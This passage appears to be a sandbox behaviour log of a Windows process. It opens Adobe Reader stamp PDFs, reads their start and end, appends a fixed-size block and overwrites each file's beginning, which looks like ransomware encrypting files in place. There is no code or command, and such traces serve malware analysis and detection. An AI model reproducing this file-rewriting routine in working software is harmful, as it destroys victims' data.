hFile=0x190, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.104] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.104] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.104] CloseHandle (hObject=0x190) returned 1 [0032.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.106] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.106] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x892d [0032.106] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.106] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.106] ReleaseMutex (hMutex=0x128) returned 1 [0032.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.106] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0032.106] ReadFile (in: hFile=0x190, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.112] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x792d [0032.112] ReadFile (in: hFile=0x190, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.112] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x792d [0032.112] WriteFile (in: hFile=0x190, lpBuffer=0x1defde8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.112] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.112] WriteFile (in: hFile=0x190, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.112] CloseHandle (hObject=0x190) returned 1 [0032.113] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.148] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.148] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xb731 [0032.148] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.148] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.148] ReleaseMutex (hMutex=0x128) returned 1 [0032.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.149] ReadFile (in: hFile=0x190, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.152] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa731 [0032.153] ReadFile (in: hFile=0x190, lpBuffer=0x1d85078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d85078*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.153] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa731 [0032.153] WriteFile (in: hFile=0x190, lpBuffer=0x1df1078*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1078*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.154] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.154] WriteFile (in: hFile=0x190, lpBuffer=0x1de8f18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8f18*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.154] CloseHandle (hObject=0x190) returned 1 [0032.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.155] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.155] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xca88 [0032.155] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.155] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.155] ReleaseMutex (hMutex=0x128) returned 1 [0032.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e630cc, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.155] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.157] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xba88 [0032.158] ReadFile (in: hFile=0x190, lpBuffer=0x1df0f78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df0f78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.158] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xba88 [0032.158] WriteFile (in: hFile=0x190, lpBuffer=0x1de6f18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6f18*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.159] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.159] WriteFile (in: hFile=0x190, lpBuffer=0x1decf48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decf48*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.159] CloseHandle (hObject=0x190) returned 1 [0032.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.160] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.160] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x24f7f [0032.160] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.160] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.160] ReleaseMutex (hMutex=0x128) returned 1 [0032.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78654, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0032.160] ReadFile (in: hFile=0x190, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.346] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x23f7f [0032.346] ReadFile (in: hFile=0x190, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.348] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x23f7f [0032.348] WriteFile (in: hFile=0x190, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.348] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.348] WriteFile (in: hFile=0x190, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0032.349] CloseHandle (hObject=0x190) returned 1 [0032.354] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.354] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.354] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x4fff9 [0032.354] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.354] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.354] ReleaseMutex (hMutex=0x128) returned 1 [0032.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.354] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.354] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0032.359] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4eff9 [0032.359] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.361] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x4eff9 [0032.361] WriteFile (in: hFile=0x190, lpBuffer=0x1df0e18*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0e18*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.362] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.362] WriteFile (in: hFile=0x190, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0032.362] CloseHandle (hObject=0x190) returned 1 [0032.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUM\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rum\\standard.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.369] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.369] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1c4f5 [0032.369] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.369] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.369] ReleaseMutex (hMutex=0x128) returned 1 [0032.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Standard.pdf", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Standard.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.370] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.372] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1b4f5 [0032.373] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.373] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1b4f5 [0032.373] WriteFile (in: hFile=0x190, lpBuffer=0x1df0f48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0f48*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.373] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.373] WriteFile (in: hFile=0x190, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.374] CloseHandle (hObject=0x190) returned 1 [0032.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0032.375] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.375] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xb731 [0032.375] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.375] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.375] ReleaseMutex (hMutex=0x128) returned 1 [0032.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.375] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e633ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.375] ReadFile (in: hFile=0x190, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.379] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa731 [0032.379] ReadFile (in: hFile=0x190, lpBuffer=0x1d84e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.381] SetFilePointer (in: hFile=0x190, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xa731 [0032.381] WriteFile (in: hFile=0x190, lpBuffer=0x1d84e78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84e78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.381] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0032.381] WriteFile (in: hFile=0x190, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.382] CloseHandle (hObject=0x190) returned 1 [0032.382] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\suo\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0032.391] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.391] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xe7e1 [0032.391] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0032.391] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.391] ReleaseMutex (hMutex=0x128) returned 1 [0032.391] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, 